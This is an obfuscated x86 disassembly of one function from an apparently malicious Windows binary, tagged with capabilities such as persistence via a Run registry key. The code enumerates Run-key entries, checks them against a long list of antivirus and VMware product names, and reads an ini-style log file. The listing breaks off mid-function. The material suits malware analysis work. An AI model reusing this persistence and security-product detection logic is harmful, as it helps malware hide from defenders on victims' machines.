Function at 0x4065d0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4a6c
call fcn.00416fe0
mov eax, dword [0x43f350]
mov dword [esp + 0x4a68], eax
push ebx
mov ebx, dword [0x43e2c8]
mov eax, ebx
imul eax, eax, 0x754f74
mov dword [esp + 0x28], eax
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov ecx, edx
push esi
push edi
mov edi, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edx
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x278a52fb
imul dword [0x43e2c0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x1c], eax
mov eax, 0x51e0e37b
imul edi
mov edi, dword [0x43e2c0]
sar edx, 0x15
imul edi, edi, 0x946b47
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x14], eax
mov eax, 0x6445fc6d
imul dword [0x43e2c4]
sar edx, 0x14
add edi, edx
mov eax, edx
mov edx, dword [0x43e2bc]
shr eax, 0x1f
imul edx, edx, 0x753dc2
add eax, edi
add eax, edx
mov edx, dword [0x43e2cc]
mov edi, dword [esp + 0x30]
imul edx, edx, 0x3493ae
add eax, edx
sub eax, dword [esp + 0x14]
mov edx, dword [0x43e2d0]
sub eax, esi
sub eax, ecx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x1c]
sub eax, edx
add eax, ecx
add eax, edi
mov dword [esp + 0x10], esi
mov ecx, 0xb
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea edi, [esp + 0xa70]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x43e2dc], eax
xor eax, eax
mov ecx, 0x34
lea edi, [esp + 0xa9e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x7f1]
mov byte [esp + 0x7f0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x43e2bc]
mov eax, ebx
imul eax, eax, 0x28d92c
mov dword [esp + 0x34], eax
mov ecx, dword [0x43e2c4]
mov eax, edi
imul eax, eax, 0x302f8a
mov dword [esp + 0x18], eax
mov eax, 0x8ba9e88d
imul ebx
add edx, ebx
sar edx, 0x16
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, dword [esp + 0x24]
add esi, ecx
mov ecx, dword [esp + 0x18]
sub esi, edx
add esi, ecx
mov ecx, dword [esp + 0x34]
lea ecx, [esi + ecx + 0x2fa80f]
mov esi, dword [0x43e2c0]
mov eax, 0x321c7f55
imul esi, esi, 0x754f74
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, ecx
imul edx, edx, 0x643bbd
sub esi, edx
add esi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9bcf58cb
imul ebx
add edx, ebx
mov ebx, dword [0x43e2cc]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov esi, eax
mov eax, 0x76a10fbd
imul ebx
sar edx, 0x15
mov eax, edx
mov dword [0x43e2d8], ecx
shr eax, 0x1f
add esi, edx
imul ecx, ecx, 0x28d92c
add eax, esi
mov esi, dword [esp + 0x14]
mov edx, ebx
imul ebx, ebx, 0x69275c
imul edx, edx, 0x330379
sub eax, edx
sub eax, esi
mov edx, dword [esp + 0x34]
lea eax, [eax + edx - 0x28d92c]
mov dword [0x43e2d4], eax
imul eax, eax, 0x51bcef
mov esi, edi
imul esi, esi, 0x7565e
add esi, eax
mov eax, 0x321c7f55
imul dword [0x43e2c4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x1412258
add esi, ebx
add esi, eax
mov eax, 0x65c6b7f9
imul dword [0x43e2d0]
sar edx, 0x13
mov ebx, dword [esp + 0x14]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6445fc6d
imul edi
imul edi, edi, 0x450e38
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub esi, ebx
sub esi, 0x3493ae
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x43e2c0]
mov edx, eax
imul edx, edx, 0x643bbd
mov dword [0x43e2d0], esi
imul esi, esi, 0x3493ae
sub ecx, edx
mov edx, dword [esp + 0x1c]
add ecx, esi
mov esi, dword [esp + 0x18]
add ecx, edi
mov edi, dword [esp + 0x10]
sub ecx, edx
mov edx, dword [esp + 0x30]
sub ecx, edi
xor ebx, ebx
add ecx, esi
add ecx, edx
push str.C:Program_FilesWindows_NT_sms_log.txt
lea eax, [ecx + eax + 0x450e38]
push 0x1400
lea ecx, [esp + 0xb78]
mov dword [esp + 0x34], 0x100
mov dword [esp + 0x30], 0x100
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x1c], ebx
mov dword [0x43e2cc], eax
push ecx
push 0x432d67
push str.start
push str.Enable
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0xb70]
push edx
call fcn.00417ed1
push ebx
mov esi, eax
call fcn.00417dce
sub eax, esi
add esp, 8
cmp eax, 0x7080
jl 0x40696a
mov dword [esp + 0x14], 1
mov edi, dword [0x43e2cc]
mov esi, dword [0x43e2c8]
mov ecx, dword [0x43e2c0]
mov eax, 0x321c7f55
imul ecx, ecx, 0x643bbd
imul dword [0x43e2d4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0xa9e322
sub ebx, eax
mov eax, 0x65c6b7f9
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, ecx
mov ecx, dword [0x43e2bc]
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x8d9c64
add ebx, edx
mov edx, dword [0x43e2c4]
mov eax, 0x278a52fb
imul edx
sar edx, 0x14
add ebx, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x450e38
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x51e0e37b
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub ebx, eax
lea esi, [ebx + edx - 0x28d92c]
mov dword [0x43e2c8], esi
mov eax, dword [0x43e2d8]
imul ecx, ecx, 0x74bc7
imul edi, edi, 0x69275c
imul eax, eax, 0x754f74
imul esi, esi, 0x679727
add eax, ecx
mov ecx, eax
mov eax, 0x321c7f55
imul dword [0x43e2d4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x43e2d0]
mov edx, ecx
imul edx, edx, 0x643bbd
add eax, edx
add eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x65c6b7f9
imul ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [0x43e2dc]
sar edx, 0x13
add eax, edx
mov edi, edx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
shr edi, 0x1f
add edi, eax
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, esi
add eax, edx
sub edi, eax
push 0
sub edi, 0x643bbd
push 0x432e64
jmp 0x406ab0
mov dword [0x43e2c0], edi
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x406ad9
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call ebx
push 0
push 0x432e64
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
jne 0x406b03
push 0x432e64
push str.ver1
push str.test1
push str.wang1
call ebx
mov ecx, dword [0x43e2bc]
mov ebx, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, ebx
imul edi, edi, 0x754f74
mov esi, dword [0x43e2cc]
mov edx, ecx
imul edx, edx, 0x28d92c
add edi, edx
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul esi, esi, 0x3493ae
imul edx, edx, 0x643bbd
add edi, edx
mov eax, 0x65c6b7f9
imul dword [0x43e2d0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ecx
mov ecx, dword [0x43e2d4]
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
shr ebx, 0x1f
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, esi
add eax, edx
sub ebx, eax
lea edi, [ebx + ecx - 0x643bbd]
mov dword [0x43e2bc], edi
mov dword [esp + 0x1c], 0
jmp 0x406bc0
mov edi, dword [0x43e2bc]
lea esp, [esp]
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, edi
imul edi, edi, 0x753dc2
imul ebx, ebx, 0xa9d170
mov eax, 0x51bab243
imul dword [0x43e2d8]
sar edx, 0x15
add ebx, edx
mov eax, edx
mov edx, dword [0x43e2dc]
shr eax, 0x1f
imul edx, edx, 0x643bbe
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x65c6b7f9
imul dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul dword [0x43e2d8]
sar edx, 0x14
mov esi, dword [0x43e2c8]
mov eax, edx
imul esi, esi, 0x754f74
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9bcf58cb
imul dword [0x43e2dc]
add edx, dword [0x43e2dc]
sar edx, 0x15
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x43e2c0]
sub eax, ecx
imul ebx, ebx, 0x946b47
lea edx, [eax + esi - 0x247508]
mov dword [str._r_____r____], edx
mov edx, dword [0x43e2c4]
mov eax, 0x100
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], eax
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edi, dword [str._r_____r____]
mov ebx, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul dword [0x43e2c0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov dword [esp + 0x18], 0
add eax, ebx
mov ebx, eax
mov eax, dword [0x43e2cc]
imul eax, eax, 0x3493ae
add ebx, eax
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d0]
sub ebx, eax
mov eax, dword [esp + 0x1c]
sub ebx, ecx
sub ebx, edx
add ebx, esi
test eax, eax
mov dword [0x43e2dc], ebx
jne 0x406d35
lea ecx, [esp + 0x30]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0xa7c]
push edx
push SysReAllocStringLen
jmp 0x406d4e
lea eax, [esp + 0x30]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0xa7c]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [0x43e2c8]
mov esi, ecx
imul esi, esi, 0x28d92c
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov ecx, dword [0x43e2c4]
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub esi, eax
add esi, edx
lea eax, [esi + ecx + 0x2fa80f]
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x4f4]
push edx
mov edx, dword [esp + 0x38]
push 0
push 0
mov dword [0x43e2d8], eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x2184]
push ecx
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
je 0x408073
mov eax, dword [esp + 0x18]
mov ebx, dword [0x43e2c8]
inc eax
mov dword [esp + 0x18], eax
mov eax, 0x51e0e37b
imul dword [str._r_____r____]
mov eax, dword [0x43e2c0]
imul eax, eax, 0x754f74
sar edx, 0x15
mov ecx, edx
mov edi, dword [0x43e2d8]
mov esi, ebx
imul esi, esi, 0x28d92c
add esi, eax
shr ecx, 0x1f
add ecx, edx
mov eax, 0x321c7f55
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
mov edx, edi
imul edx, edx, 0x643bbd
sub esi, edx
add esi, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9bcf58cb
imul ebx
add edx, ebx
sar edx, 0x15
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, eax
mov eax, 0x76a10fbd
imul dword [0x43e2cc]
sar edx, 0x15
add esi, edx
mov eax, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x330379
shr eax, 0x1f
add eax, esi
sub eax, edx
sub eax, ecx
lea esi, [esp + 0x4f0]
sub eax, 0x28d92c
lea edx, [esi + 1]
mov dword [0x43e2d4], eax
mov dword [esp + 0x10], edx
mov dl, byte [esi]
inc esi
test dl, dl
jne 0x406ee6
sub esi, dword [esp + 0x10]
mov dword [esp + 0x38], esi
je 0x40802d
mov esi, dword [0x43e2bc]
imul eax, eax, 0x51bcef
mov edx, dword [0x43e2c4]
imul esi, esi, 0x7565e
add esi, eax
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub esi, eax
imul edx, edx, 0x1412258
mov eax, dword [0x43e2cc]
imul eax, eax, 0x69275c
add esi, eax
add esi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
sub esi, 0x3493ae
mov dword [0x43e2d0], esi
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x4f0]
mov byte [esp + eax + 0xb70], cl
inc eax
test cl, cl
jne 0x406f70
lea ecx, [esp + 0xb70]
push ecx
call fcn.00404240
imul edi, edi, 0x28d92c
imul ebx, ebx, 0x754f74
mov ecx, dword [0x43e2bc]
mov eax, 0x6445fc6d
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x321c7f55
imul esi
imul esi, esi, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, ebx
mov ebx, dword [0x43e2c0]
sub edi, eax
mov eax, ecx
imul ecx, ecx, 0x450e38
imul eax, eax, 0x302f8a
mov edx, ebx
imul edx, edx, 0x643bbd
sub edi, edx
add edi, eax
mov eax, 0x65c6b7f9
imul dword [str._r_____r____]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x278a52fb
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add esi, ebx
add esi, edi
lea edx, [esp + 0xb74]
lea ecx, [ecx + esi + 0x450e38]
push str.360_
push edx
mov dword [0x43e2cc], ecx
call fcn.00416e50
add esp, 0xc
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str.360sd_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str.360safe
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str._safemon_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str.windows_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._system_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str._system32_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str._rising_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._antispyware_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str._symantec_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str._symant1_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._symantec_shared_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str.kingsoft_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str.kingsoft
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._vmware_tools_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str.kaspersky
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str._antivirus_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str.mcafee_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str._virusscan_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str.mcafee.com_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._virusscan
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str._avast5_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str._antivir_desktop_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str._norton_internet_security_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea edx, [esp + 0xb70]
push str.eset_
push edx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea eax, [esp + 0xb70]
push str._avast4_
push eax
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
lea ecx, [esp + 0xb70]
push str.officescan_client_
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
jne 0x407f7e
mov edx, dword [0x43e2c0]
mov ecx, dword [0x43e2d0]
mov esi, dword [str._r_____r____]
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ecx
imul edi, edi, 0x946b47
sub edi, eax
mov eax, dword [0x43e2bc]
imul eax, eax, 0x753dc2
mov edx, esi
imul edx, edx, 0x754f74
sub edi, edx
add edi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x278a52fb
imul esi
sar edx, 0x14
mov esi, edx
sub edi, ecx
mov ecx, dword [0x43e2c4]
add edi, edx
mov edx, dword [0x43e2d8]
imul edx, edx, 0x3493ae
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [esp + 0x4f0]
push str..exe
sub esi, 0x643bbd
push ecx
mov dword [0x43e2c4], esi
call fcn.00416e50
mov esi, eax
add esp, 8
test esi, esi
jne 0x40741e
lea edx, [esp + 0x4f0]
push str..EXE
push edx
call fcn.00416e50
add esp, 8
mov esi, eax
mov ecx, dword [0x43e2d8]
mov edi, dword [0x43e2bc]
mov ebx, ecx
imul ebx, ebx, 0x754f74
mov eax, edi
imul eax, eax, 0x74bc7
add ebx, eax
mov eax, 0x321c7f55
imul dword [0x43e2d4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d0]
sub ebx, eax
mov eax, edx
imul eax, eax, 0x643bbd
add ebx, eax
mov eax, dword [0x43e2cc]
imul eax, eax, 0x69275c
add ebx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
add ebx, edx
mov eax, edx
mov edx, dword [0x43e2c8]
imul edx, edx, 0x679727
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [0x43e2dc]
mov ebx, eax
mov eax, 0x51e0e37b
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, 0x643bbd
test esi, esi
mov dword [0x43e2c0], ebx
jne 0x4074df
lea ecx, [esp + 0x4f0]
push str..Exe
push ecx
call fcn.00416e50
mov edi, dword [0x43e2bc]
mov ecx, dword [0x43e2d8]
add esp, 8
mov esi, eax
sub ecx, dword [str._r_____r____]
imul ecx, ecx, 0x754f74
mov ebx, dword [0x43e2cc]
mov edx, edi
imul edx, edx, 0x28d92c
add ecx, edx
mov eax, 0x321c7f55
imul edi
imul edi, edi, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, ebx
imul ebx, ebx, 0x3493ae
imul edx, edx, 0x643bbd
add ecx, edx
mov eax, 0x65c6b7f9
imul dword [0x43e2d0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
mov edi, dword [0x43e2d4]
sub ecx, eax
mov eax, 0x9bcf58cb
imul edi
add edx, edi
sar edx, 0x15
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x51e0e37b
imul edi
mov eax, dword [esp + 0x10]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
test esi, esi
lea edi, [eax + edi - 0x643bbd]
mov dword [0x43e2bc], edi
je 0x407ef6
mov byte [esi + 4], 0
mov esi, dword [0x43e2c8]
mov ecx, dword [0x43e2bc]
imul ecx, ecx, 0xa9d170
mov edx, esi
imul edx, edx, 0x754f74
add ecx, edx
mov edi, dword [0x43e2d8]
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x51bab243
imul edi
sar edx, 0x15
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x43e2dc]
mov edx, ecx
imul edx, edx, 0x643bbe
add ebx, edx
mov eax, 0x65c6b7f9
imul dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9bcf58cb
imul ecx
mov al, byte [esp + 0x4f0]
add edx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
cmp al, 0x22
lea edx, [ecx + ebx - 0x247508]
mov dword [str._r_____r____], edx
jne 0x407659
xor eax, eax
mov cl, byte [esp + eax + 0x4f1]
mov byte [esp + eax + 0x5f0], cl
inc eax
test cl, cl
jne 0x407641
jmp 0x407769
push 6
lea eax, [esp + 0x4f4]
push str.quot_
push eax
call fcn.00417e10
add esp, 0xc
test eax, eax
jne 0x407747
jmp 0x407680
mov cl, byte [esp + eax + 0x4f6]
mov byte [esp + eax + 0x5f0], cl
inc eax
test cl, cl
jne 0x407680
mov edi, dword [0x43e2bc]
mov ebx, dword [0x43e2d8]
mov esi, dword [0x43e2c8]
imul ebx, ebx, 0x28d92c
mov eax, 0x6445fc6d
imul edi
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x754f74
sub ebx, ecx
mov ecx, dword [0x43e2c0]
add ebx, edx
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x643bbd
mov eax, edi
imul edi, edi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
add ebx, eax
mov eax, 0x65c6b7f9
imul dword [str._r_____r____]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d0]
imul edx, edx, 0x3493ae
sub ebx, eax
add edx, ecx
add edx, ebx
lea eax, [edi + edx + 0x450e38]
mov dword [0x43e2cc], eax
jmp 0x40776f
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x4f0]
mov byte [esp + eax + 0x5f0], cl
inc eax
test cl, cl
jne 0x407750
mov esi, dword [0x43e2c8]
mov ecx, dword [0x43e2c0]
mov eax, 0x51e0e37b
imul dword [str._r_____r____]
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x43e2c4]
mov ebx, ecx
imul ebx, ebx, 0x946b47
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, esi
imul edx, edx, 0x754f74
add eax, edx
mov ebx, eax
mov eax, dword [0x43e2bc]
imul eax, eax, 0x753dc2
add ebx, eax
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x65c6b7f9
imul dword [str._r_____r____]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
imul ecx, ecx, 0x754f74
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [0x43e2cc]
mov edx, ebx
imul edx, edx, 0x3493ae
add eax, edx
mov edx, dword [0x43e2d0]
sub eax, edi
sub eax, edx
mov dword [0x43e2dc], eax
mov eax, esi
imul eax, eax, 0x28d92c
add eax, ecx
mov ecx, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x43e2d8]
mov edx, ecx
imul edx, edx, 0x643bbd
sub eax, edx
mov edx, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
add edx, eax
mov eax, 0x65c6b7f9
mov dword [esp + 0x10], edx
imul ecx
sar edx, 0x13
mov ecx, dword [esp + 0x10]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9bcf58cb
imul esi
add edx, esi
sar edx, 0x15
add ecx, edx
mov esi, edx
mov eax, 0x76a10fbd
imul ebx
imul ebx, ebx, 0x330379
shr esi, 0x1f
add esi, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, ebx
sub ecx, edi
sub ecx, 0x28d92c
mov dword [0x43e2d4], ecx
xor eax, eax
nop
mov cl, byte [esp + eax + 0x5f0]
mov byte [esp + eax + 0xb70], cl
inc eax
test cl, cl
jne 0x4078c0
lea edx, [esp + 0xb70]
push 0x5c
push edx
call fcn.00417660
mov esi, dword [0x43e2bc]
mov edi, eax
mov eax, dword [0x43e2d4]
mov edx, dword [0x43e2c4]
imul eax, eax, 0x51bcef
mov ecx, esi
imul ecx, ecx, 0x7565e
add ecx, eax
mov ebx, dword [str._r_____r____]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2cc]
sub ecx, eax
imul edx, edx, 0x69275c
mov eax, ebx
